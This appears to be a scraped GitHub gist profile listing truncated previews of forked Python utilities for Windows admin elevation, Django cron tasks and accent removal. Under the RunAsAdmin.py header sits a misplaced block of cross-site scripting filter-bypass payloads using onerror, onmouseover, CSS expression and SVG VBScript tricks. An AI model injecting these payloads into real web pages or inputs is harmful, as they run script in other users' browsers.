Skip to content

Instantly share code, notes, and snippets.

View djwesleyborges's full-sized avatar
🏠
Working from home

Wesley Borges djwesleyborges

🏠
Working from home
View GitHub Profile
@djwesleyborges
djwesleyborges / RunAsAdmin.py
Created September 3, 2020 19:17 — forked from Devligue/RunAsAdmin.py
Collection of Python code snippets usefull to deal with admin privilages on Windows
#!python
# coding: utf-8
# by GaryLee
# https://gist.github.com/GaryLee/d1cf2089c3a515691919
import sys
import ctypes
def run_as_admin(argv=None, debug=False):
<div style="color:rgb(''&#0;x:expression(alert(1))"></div>
<img/src=%00 id=confirm(1) onerror=eval(id)
<div id=confirm(1) onmouseover=eval(id)>X</div>
<span/onmouseover=confirm(1)>X</span>
<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&chr(83)&chr(83)))
@djwesleyborges
djwesleyborges / cron_django_task_script.py
Created August 29, 2018 19:13 — forked from clint74/cron_django_task_script.py
Run cron task in your Django environment
#!/home/andre/.virtualenvs/myproject/bin/python
import os
import sys
DEBUG = False
#DEBUG = True
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
@djwesleyborges
djwesleyborges / removerAcentosECaracteresEspeciais.py
Created August 11, 2017 17:22 — forked from boniattirodrigo/removerAcentosECaracteresEspeciais.py
Remover acentos e caracteres especiais em Python
import unicodedata
import re
"""
A remoção de acentos foi baseada em uma resposta no Stack Overflow.
http://stackoverflow.com/a/517974/3464573
"""
def removerAcentosECaracteresEspeciais(palavra):